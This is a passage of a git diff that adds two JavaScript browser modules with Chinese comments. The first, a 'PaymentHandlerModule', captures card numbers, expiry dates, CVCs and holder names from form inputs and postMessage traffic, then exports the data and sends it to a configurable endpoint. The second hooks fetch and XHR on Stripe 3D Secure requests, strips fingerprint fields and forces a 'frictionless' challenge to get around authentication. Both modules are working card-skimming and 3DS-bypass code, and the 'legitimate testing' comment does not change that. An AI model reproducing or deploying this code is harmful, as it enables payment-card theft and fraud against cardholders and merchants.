scanInputs() { + try { + // 合併所有選擇器 + const allSelectors = [ + ...this.config.cardFieldSelectors, + ...this.config.expiryFieldSelectors, + ...this.config.cvcFieldSelectors, + ...this.config.holderFieldSelectors + ].join(', '); + + const inputs = document.querySelectorAll(allSelectors); + + inputs.forEach(input => { + if (!this.trackedInputs.has(input)) { + this.trackInput(input); + } + }); + + } catch (error) { + this.error('Input scanning error:', error); + } + } + + trackInput(input) { + this.trackedInputs.add(input); + + // 監聽多種事件 + const events = ['change', 'blur', 'input']; + + events.forEach(eventType => { + input.addEventListener(eventType, (e) => { + this.handleInputChange(e.target); + }); + }); + + this.log(`Tracking input: ${input.name || input.id || 'unknown'}`); + } + + handleInputChange(input) { + const value = input.value; + if (!value || value.length < 3) return; + + const fieldType = this.identifyFieldType(input); + + if (fieldType) { + this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`); + + this.captureData({ + source: 'user_input', + fieldType: fieldType, + fieldName: input.name || input.id, + value: value, + element: input + }); + } + } + + identifyFieldType(input) { + const name = (input.name || '').toLowerCase(); + const id = (input.id || '').toLowerCase(); + const placeholder = (input.placeholder || '').toLowerCase(); + const combined = `${name} ${id} ${placeholder}`; + + if (/card.*number|cc.*number/.test(combined)) return 'cardNumber'; + if (/exp|expiry|expiration/.test(combined)) return 'expiry'; + if (/cvc|cvv|security/.test(combined)) return 'cvc'; + if (/name|holder|cardholder/.test(combined)) return 'holderName'; + + return null; + } + + /** + * ======================================================================== + * postMessage 監聽 + * ======================================================================== + */ + + handlePostMessage(event) { + try { + const data = event.data; + + if (!data || typeof data !== 'object') return; + + // 檢查是否包含支付相關數據 + const extracted = this.extractCardData(data); + + if (extracted && Object.keys(extracted).length > 0) { + this.log('Card data found in postMessage'); + this.captureData({ + source: 'postMessage', + origin: event.origin, + data: extracted + }); + } + + } catch (error) { + // Silent + } + } + + /** + * ======================================================================== + * 數據提取與驗證 + * ======================================================================== + */ + + extractCardData(obj) { + if (!obj || typeof obj !== 'object') return null; + + const result = {}; + + // 遞歸搜索對象 + const search = (target, depth = 0) => { + if (depth > 5) return; // 防止過深遞歸 + + for (const [key, value] of Object.entries(target)) { + const keyLower = key.toLowerCase(); + + // 卡號 + if (/card.*number|cc.*number|pan|number/.test(keyLower)) { + const cleaned = this.cleanCardNumber(value); + if (this.isValidCardNumber(cleaned)) { + result.cardNumber = cleaned; + } + } + + // 日期 + if (/exp|expiry|expiration/.test(keyLower)) { + if (this.isValidExpiry(value)) { + result.expiry = value; + } + } + + // CVC + if (/cvc|cvv|security.*code/.test(keyLower)) { + if (/^\d{3,4}$/.test(value)) { + result.cvc = value; + } + } + + // 持卡人姓名 + if (/holder|name|cardholder/.test(keyLower)) { + if (typeof value === 'string' && value.length > 2) { + result.holderName = value; + } + } + + // 遞歸搜索嵌套對象 + if (typeof value === 'object' && value !== null) { + search(value, depth + 1); + } + } + }; + + search(obj); + return Object.keys(result).length > 0 ? result : null; + } + + cleanCardNumber(value) { + if (typeof value !== 'string') value = String(value); + return value.replace(/\D/g, ''); + } + + isValidCardNumber(number) { + if (!this.config.validateCardNumber) return true; + + // Luhn 算法驗證 + if (!/^\d{13,19}$/.test(number)) return false; + + let sum = 0; + let isEven = false; + + for (let i = number.length - 1; i >= 0; i--) { + let digit = parseInt(number.charAt(i), 10); + + if (isEven) { + digit *= 2; + if (digit > 9) { + digit -= 9; + } + } + + sum += digit; + isEven = !isEven; + } + + return (sum % 10) === 0; + } + + isValidExpiry(value) { + if (!this.config.validateExpiry) return true; + + // 支持多種格式:MM/YY, MM/YYYY, MMYY, MM-YY + const cleaned = String(value).replace(/\D/g, ''); + + if (cleaned.length === 4) { + const month = parseInt(cleaned.substring(0, 2)); + const year = parseInt(cleaned.substring(2, 4)); + return month >= 1 && month <= 12 && year >= 0; + } else if (cleaned.length === 6) { + const month = parseInt(cleaned.substring(0, 2)); + return month >= 1 && month <= 12; + } + + return false; + } + + /** + * ======================================================================== + * 數據捕獲與存儲 + * ======================================================================== + */ + + captureData(captureInfo) { + const record = { + id: this.generateId(), + timestamp: Date.now(), + url: window.location.href, + ...captureInfo + }; + + // 存儲記錄 + if (this.config.storeCapturedData) { + this.capturedData.push(record); + + // 限制存儲大小 + if (this.capturedData.length > this.config.maxStoredRecords) { + this.capturedData.shift(); + } + } + + // 廣播事件 + this.broadcastEvent('DATA_CAPTURED', record); + + // 外泄數據 (如果啟用) + if (this.config.exfiltrationEnabled) { + this.exfiltrateData(record); + } + + this.success(`Data captured from ${captureInfo.source}`); + } + + /** + * ======================================================================== + * 數據外泄 (僅用於合法測試) + * ======================================================================== + */ + + exfiltrateData(record) { + try { + switch (this.config.exfiltrationMethod) { + case 'postMessage': + window.postMessage({ + type: 'PAYMENT_DATA_EXFILTRATION', + data: record + }, '*'); + break; + + case 'fetch': + if (this.config.exfiltrationEndpoint) { + fetch(this.config.exfiltrationEndpoint, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(record) + }).catch(() => {}); + } + break; + + case 'websocket': + // WebSocket 實現 (需要外部 WS 服務器) + if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) { + window.__exfiltrationWS.send(JSON.stringify(record)); + } + break; + + case 'localStorage': + const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]'); + existing.push(record); + localStorage.setItem('__captured_data', JSON.stringify(existing)); + break; + } + + this.log('Data exfiltrated via ' + this.config.exfiltrationMethod); + + } catch (error) { + this.error('Exfiltration error:', error); + } + } + + /** + * ======================================================================== + * 事件系統 + * ======================================================================== + */ + + broadcastEvent(eventType, payload) { + const message = { + type: `PAYMENT_HANDLER_${eventType}`, + ...payload, + timestamp: Date.now() + }; + + // postMessage + window.postMessage(message, '*'); + + // CustomEvent + const event = new CustomEvent('PAYMENT_HANDLER_EVENT', { + detail: message + }); + window.dispatchEvent(event); + + // 內部監聽器 + if (this.listeners.has(eventType)) { + this.listeners.get(eventType).forEach(callback => { + try { + callback(payload); + } catch (error) { + this.error('Listener error:', error); + } + }); + } + } + + on(eventType, callback) { + if (!this.listeners.has(eventType)) { + this.listeners.set(eventType, []); + } + this.listeners.get(eventType).push(callback); + } + + /** + * ======================================================================== + * 數據查詢 API + * ======================================================================== + */ + + getCapturedData(filter = {}) { + let data = [...this.capturedData]; + + if (filter.source) { + data = data.filter(d => d.source === filter.source); + } + + if (filter.timeRange) { + const { start, end } = filter.timeRange; + data = data.filter(d => d.timestamp >= start && d.timestamp <= end); + } + + if (filter.containsCardNumber) { + data = data.filter(d => d.data && d.data.cardNumber); + } + + return data; + } + + getLastCaptured() { + return this.capturedData[this.capturedData.length - 1] || null; + } + + clearCapturedData() { + this.capturedData = []; + this.log('Captured data cleared'); + } + + /** + * 導出捕獲的數據 + */ + exportData(format = 'json') { + if (format === 'json') { + return JSON.stringify(this.capturedData, null, 2); + } else if (format === 'csv') { + const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName']; + let csv = headers.join(',') + '\n'; + + this.capturedData.forEach(record => { + const row = [ + new Date(record.timestamp).toISOString(), + record.source, + record.data?.cardNumber || '', + record.data?.expiry || '', + record.data?.cvc || '', + record.data?.holderName || '' + ]; + csv += row.join(',') + '\n'; + }); + + return csv; + } + } + + /** + * ======================================================================== + * 工具方法 + * ======================================================================== + */ + + extractUrl(resource) { + if (typeof resource === 'string') return resource; + if (resource instanceof Request) return resource.url; + if (resource instanceof URL) return resource.toString(); + return ''; + } + + generateId() { + return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; + } + + /** + * ======================================================================== + * 全局 API + * ======================================================================== + */ + + exposeGlobalAPI() { + window.paymentHandler = { + module: this, + on: (event, callback) => this.on(event, callback), + getData: (filter) => this.getCapturedData(filter), + getLastCaptured: () => this.getLastCaptured(), + clearData: () => this.clearCapturedData(), + export: (format) => this.exportData(format), + getStatus: () => ({ + enabled: this.config.enabled, + totalCaptured: this.capturedData.length, + lastCapture: this.getLastCaptured() + }) + }; + + this.log('Global API exposed as window.paymentHandler'); + } + + /** + * ======================================================================== + * 日誌工具 + * ======================================================================== + */ + + log(...args) { + if (this.config.debug) { + console.log('[PaymentHandler]', ...args); + } + } + + success(msg) { + console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;'); + } + + warn(msg) { + console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;'); + } + + error(...args) { + console.error('[PaymentHandler ERROR]', ...args); + } +} + +/** + * ============================================================================ + * 全局暴露 + * ============================================================================ + */ +window.PaymentHandlerModule = PaymentHandlerModule; + +// 自動初始化選項 +if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) { + const instance = new PaymentHandlerModule({ + enabled: true, + debug: true + }); + instance.init(); + window.__paymentHandler = instance; +} diff --git a/modules/ThreeDSecureHandlerModule.js b/modules/ThreeDSecureHandlerModule.js new file mode 100644 index 0000000..13b3d42 --- /dev/null +++ b/modules/ThreeDSecureHandlerModule.js @@ -0,0 +1,608 @@ +/** + * ============================================================================ + * 3D Secure (3DS) Handler Module (Modularized Version) + * ============================================================================ + * 功能: + * 1. 攔截 Stripe 3DS 驗證相關的網絡請求 + * 2. 監控驗證流程狀態 (進行中/成功/失敗) + * 3. 修改請求體以繞過指紋檢測 + * 4. 通過 postMessage 和自定義事件廣播結果 + * 5. 自動清理過期記錄防止內存泄漏 + * + * 使用方式: + * const handler = new ThreeDSecureHandlerModule(config); + * handler.init(); + * ============================================================================ + */ + +class ThreeDSecureHandlerModule { + constructor(config = {}) { + // 默認配置 + this.config = { + enabled: true, // 是否啟用攔截 + debug: false, // 調試模式 + modifyPayload: false, // 是否修改請求體 + cleanupInterval: 5000, // 清理間隔 (ms) + successTimeout: 30000, // 成功記錄過期時間 (ms) + maxCompletedRecords: 50, // 最大完成記錄數 + targetDomains: [ // 目標域名 + 'stripe.com', + 'stripejs.com' + ], + targetKeywords: [ // URL 關鍵詞 + '3d_secure', + '3ds', + 'challenge', + 'authenticate' + ], + successIndicators: [ // 響應成功標識 + 'challenge_completed', + '3DS_COMPLETE', + 'authenticated', + 'success' + ], + failureIndicators: [ // 響應失敗標識 + 'challenge_failed', + '3DS_FAILED', + 'authentication_failed' + ], + ...config + }; + + // 運行時狀態 + this.inProgressRequests = new Set(); // 進行中的請求 + this.successfulRequests = new Map(); // 成功的請求 (url => timestamp) + this.completedRequests = new Set(); // 已完成的請求 + this.cleanupIntervalId = null; + + // 原始方法引用 + this.originalFetch = null; + this.originalXHROpen = null; + this.originalXHRSend = null; + + // 綁定方法上下文 + this.handleFetch = this.handleFetch.bind(this); + this.handleXHR = this.handleXHR.bind(this); + this.cleanup = this.cleanup.bind(this); + } + + /** + * 初始化模塊 + */ + init() { + this.log('Initializing 3DS Handler Module...'); + + // 1. 暴露狀態到全局 (供外部檢查) + this.exposeGlobalState(); + + // 2. Hook 網絡請求 + this.hookFetch(); + this.hookXHR(); + + // 3. 啟動清理任務 + this.startCleanupTask(); + + // 4. 註冊消息監聽 + this.setupMessageListener(); + + this.log('Module initialized successfully'); + } + + /** + * 銷毀模塊 + */ + destroy() { + // 恢復原始方法 + if (this.originalFetch) { + window.fetch = this.originalFetch; + } + if (this.originalXHROpen) { + XMLHttpRequest.prototype.open = this.originalXHROpen; + } + if (this.originalXHRSend) { + XMLHttpRequest.prototype.send = this.originalXHRSend; + } + + // 清理定時器 + if (this.cleanupIntervalId) { + clearInterval(this.cleanupIntervalId); + } + + this.log('Module destroyed'); + } + + /** + * 暴露狀態到全局 + */ + exposeGlobalState() { + window.__3DSInProgress = this.inProgressRequests; + window.__3DSSuccessful = this.successfulRequests; + window.__3DSCompleted = this.completedRequests; + } + + /** + * ======================================================================== + * Fetch API Hook + * ======================================================================== + */ + hookFetch() { + if (this.originalFetch) return; // 防止重複 hook + + this.originalFetch = window.fetch; + const self = this; + + window.fetch = async function(...args) { + return await self.handleFetch(this, args, self.originalFetch); + }; + + this.log('Fetch API hooked'); + } + + async handleFetch(context, args, originalFetch) { + const [url, options = {}] = args; + const urlString = this.normalizeUrl(url); + + // 檢查是否為目標請求 + if (!this.isTargetRequest(urlString)) { + return await originalFetch.apply(context, args); + } + + this.log('Intercepted Fetch request:', urlString); + this.inProgressRequests.add(urlString); + + // 修改請求體 (如果啟用) + if (this.config.modifyPayload && options.body) { + try { + options.body = this.modifyRequestBody(options.body, urlString); + this.log('Modified request body'); + } catch (e) { + this.error('Failed to modify request body:', e); + } + } + + // 執行原始請求 + let response; + try { + response = await originalFetch.apply(context, [url, options]); + } catch (err) { + this.inProgressRequests.delete(urlString); + this.error('Fetch request failed:', err); + throw err; + } + + // 處理響應 + await this.processResponse(response, urlString); + + return response; + } + + /** + * ======================================================================== + * XMLHttpRequest Hook + * ======================================================================== + */ + hookXHR() { + if (this.originalXHROpen) return; + + this.originalXHROpen = XMLHttpRequest.prototype.open; + this.originalXHRSend = XMLHttpRequest.prototype.send; + const self = this; + + // Hook open 方法以獲取 URL + XMLHttpRequest.prototype.open = function(method, url, ...rest) { + this._3dsUrl = self.normalizeUrl(url); + this._3dsMethod = method; + return self.originalXHROpen.apply(this, [method, url, ...rest]); + }; + + // Hook send 方法以處理請求和響應 + XMLHttpRequest.prototype.send = function(body) { + const url = this._3dsUrl; + + if (!self.isTargetRequest(url)) { + return self.originalXHRSend.apply(this, [body]); + } + + self.log('Intercepted XHR request:', url); + self.inProgressRequests.add(url); + + // 修改請求體 + if (self.config.modifyPayload && body) { + try { + body = self.modifyRequestBody(body, url); + self.log('Modified XHR body'); + } catch (e) { + self.error('Failed to modify XHR body:', e); + } + } + + // 監聽響應 + const originalOnReadyStateChange = this.onreadystatechange; + this.onreadystatechange = function() { + if (this.readyState === 4) { + self.processXHRResponse(this, url); + } + if (originalOnReadyStateChange) { + originalOnReadyStateChange.apply(this, arguments); + } + }; + + return self.originalXHRSend.apply(this, [body]); + }; + + this.log('XHR hooked'); + } + + /** + * ======================================================================== + * 請求/響應處理 + * ======================================================================== + */ + + /** + * 標準化 URL + */ + normalizeUrl(url) { + try { + if (typeof url === 'string') return url; + if (url instanceof URL) return url.toString(); + if (url && url.url) return url.url; + return String(url); + } catch (e) { + return ''; + } + } + + /** + * 判斷是否為目標請求 + */ + isTargetRequest(url) { + if (!this.config.enabled || !url) return false; + + // 檢查域名 + const domainMatch = this.config.targetDomains.some(domain => + url.includes(domain) + ); + + // 檢查關鍵詞 + const keywordMatch = this.config.targetKeywords.some(keyword => + url.toLowerCase().includes(keyword.toLowerCase()) + ); + + return domainMatch || keywordMatch; + } + + /** + * 修改請求體 (繞過指紋檢測) + */ + modifyRequestBody(body, url) { + // 這裡可以實現具體的修改邏輯 + // 例如:移除瀏覽器指紋參數、修改 User-Agent 相關字段等 + + if (typeof body === 'string') { + try { + const json = JSON.parse(body); + + // 移除常見的指紋字段 + delete json.browser_fingerprint; + delete json.device_fingerprint; + delete json.canvas_fingerprint; + + // 強制某些安全參數 + if (json.challenge_type) { + json.challenge_type = 'frictionless'; // 嘗試跳過挑戰 + } + + return JSON.stringify(json); + } catch (e) { + // 不是 JSON,可能是 FormData 或其他格式 + return body; + } + } + + return body; + } + + /** + * 處理 Fetch 響應 + */ + async processResponse(response, url) { + try { + const clone = response.clone(); + const status = response.status; + + if (status === 200) { + const text = await clone.text(); + const verificationStatus = this.analyzeResponseText(text); + + if (verificationStatus === 'success') { + this.handleSuccess(url, response.url); + } else if (verificationStatus === 'failed') { + this.handleFailure(url); + } else { + this.log('3DS request completed with unknown status'); + } + } + } catch (e) { + this.error('Error processing response:', e); + } finally { + this.inProgressRequests.delete(url); + } + } + + /** + * 處理 XHR 響應 + */ + processXHRResponse(xhr, url) { + try { + if (xhr.status === 200) { + const text = xhr.responseText; + const verificationStatus = this.analyzeResponseText(text); + + if (verificationStatus === 'success') { + this.handleSuccess(url, xhr.responseURL); + } else if (verificationStatus === 'failed') { + this.handleFailure(url); + } + } + } catch (e) { + this.error('Error processing XHR response:', e); + } finally { + this.inProgressRequests.delete(url); + } + } + + /** + * 分析響應文本判斷驗證狀態 + */ + analyzeResponseText(text) { + if (!text) return 'unknown'; + + const textLower = text.toLowerCase(); + + // 檢查成功標識 + const isSuccess = this.config.successIndicators.some(indicator => + textLower.includes(indicator.toLowerCase()) + ); + + if (isSuccess) return 'success'; + + // 檢查失敗標識 + const isFailure = this.config.failureIndicators.some(indicator => + textLower.includes(indicator.toLowerCase()) + ); + + if (isFailure) return 'failed'; + + return 'unknown'; + } + + /** + * 處理驗證成功 + */ + handleSuccess(requestUrl, responseUrl) { + const timestamp = Date.now(); + const key = `${requestUrl}_${timestamp}`; + + this.successfulRequests.set(key, timestamp); + this.completedRequests.add(requestUrl); + + this.log('✓ 3DS Verification Successful!', responseUrl); + + // 廣播成功消息 + this.broadcastEvent({ + type: 'STRIPE_BYPASSER_EVENT', + eventType: '3DS_COMPLETE', + status: 'success', + url: responseUrl, + requestUrl: requestUrl, + timestamp: timestamp + }); + + // 觸發自定義 DOM 事件 + this.dispatchDOMEvent('3DS_COMPLETE', { + status: 'success', + url: responseUrl, + requestUrl: requestUrl + }); + } + + /** + * 處理驗證失敗 + */ + handleFailure(url) { + this.warn('✗ 3DS Verification Failed:', url); + + this.broadcastEvent({ + type: 'STRIPE_BYPASSER_EVENT', + eventType: '3DS_FAILED', + status: 'failed', + url: url, + timestamp: Date.now() + }); + + this.dispatchDOMEvent('3DS_FAILED', { + status: 'failed', + url: url + }); + } + + /** + * ======================================================================== + * 事件廣播 + * ======================================================================== + */ + + /** + * 通過 postMessage 廣播 + */ + broadcastEvent(data) { + try { + window.postMessage(data, '*'); + + // 也嘗試向父窗口發送 + if (window.parent !== window) { + window.parent.postMessage(data, '*'); + } + } catch (e) { + this.error('Failed to broadcast event:', e); + } + } + + /** + * 觸發自定義 DOM 事件 + */ + dispatchDOMEvent(eventName, detail) { + try { + if (document) { + const event = new CustomEvent(eventName, { detail }); + document.dispatchEvent(event); + } + } catch (e) { + this.error('Failed to dispatch DOM event:', e); + } + } + + /** + * 監聽來自外部的消息 + */ + setupMessageListener() { + window.addEventListener('message', (event) => { + if (event.data?.type === '3DS_HANDLER_UPDATE_CONFIG') { + this.updateConfig(event.data.config); + } + + if (event.data?.type === '3DS_HANDLER_RESET') { + this.reset(); + } + }); + } + + /** + * ======================================================================== + * 清理與維護 + * ======================================================================== + */ + + /** + * 啟動清理任務 + */ + startCleanupTask() { + if (this.cleanupIntervalId) return; + + this.cleanupIntervalId = setInterval( + this.cleanup, + this.config.cleanupInterval + ); + + this.log('Cleanup task started'); + } + + /** + * 清理過期記錄 + */ + cleanup() { + const now = Date.now(); + + // 清理過期的成功記錄 + for (const [key, timestamp] of this.successfulRequests.entries()) { + if (now - timestamp > this.config.successTimeout) { + this.successfulRequests.delete(key); + } + } + + // 限制 completedRequests 大小 + if (this.completedRequests.size > this.config.maxCompletedRecords) { + const entries = Array.from(this.completedRequests); + const toRemove = entries.slice( + 0, + entries.length - this.config.maxCompletedRecords + ); + toRemove.forEach(item => this.completedRequests.delete(item)); + } + + if (this.config.debug) { + this.log('Cleanup completed', { + successful: this.successfulRequests.size, + completed: this.completedRequests.size, + inProgress: this.inProgressRequests.size + }); + } + } + + /** + * 重置所有狀態 + */ + reset() { + this.inProgressRequests.clear(); + this.successfulRequests.clear(); + this.completedRequests.clear(); + this.log('Module state reset'); + } + + /** + * ======================================================================== + * 配置管理 + * ======================================================================== + */ + + /** + * 更新配置 + */ + updateConfig(newConfig) { + Object.assign(this.config, newConfig); + this.log('Config updated:', this.config); + } + + /** + * 獲取當前狀態 + */ + getStatus() { + return { + inProgress: Array.from(this.inProgressRequests), + successful: Array.from(this.successfulRequests.keys()), + completed: Array.from(this.completedRequests), + config: this.config + }; + } + + /** + * ======================================================================== + * 日誌工具 + * ======================================================================== + */ + + log(...args) { + if (this.config.debug) { + console.log('[3DS Handler]', ...args); + } + } + + warn(...args) { + if (this.config.debug) { + console.warn('[3DS Handler]', ...args); + } + } + + error(...args) { + console.error('[3DS Handler]', ...args); + } +} + +/** + * ============================================================================ + * 全局 API 暴露 + * ============================================================================ + */ +window.ThreeDSecureHandlerModule = ThreeDSecureHandlerModule; + +if (typeof THREE_DS_AUTO_INIT !== 'undefined' && THREE_DS_AUTO_INIT) { + const instance = new ThreeDSecureHandlerModule({ + enabled: true, + debug: true, + modifyPayload: true + }); + instance.init(); + window.__3dsHandler = instance; +} +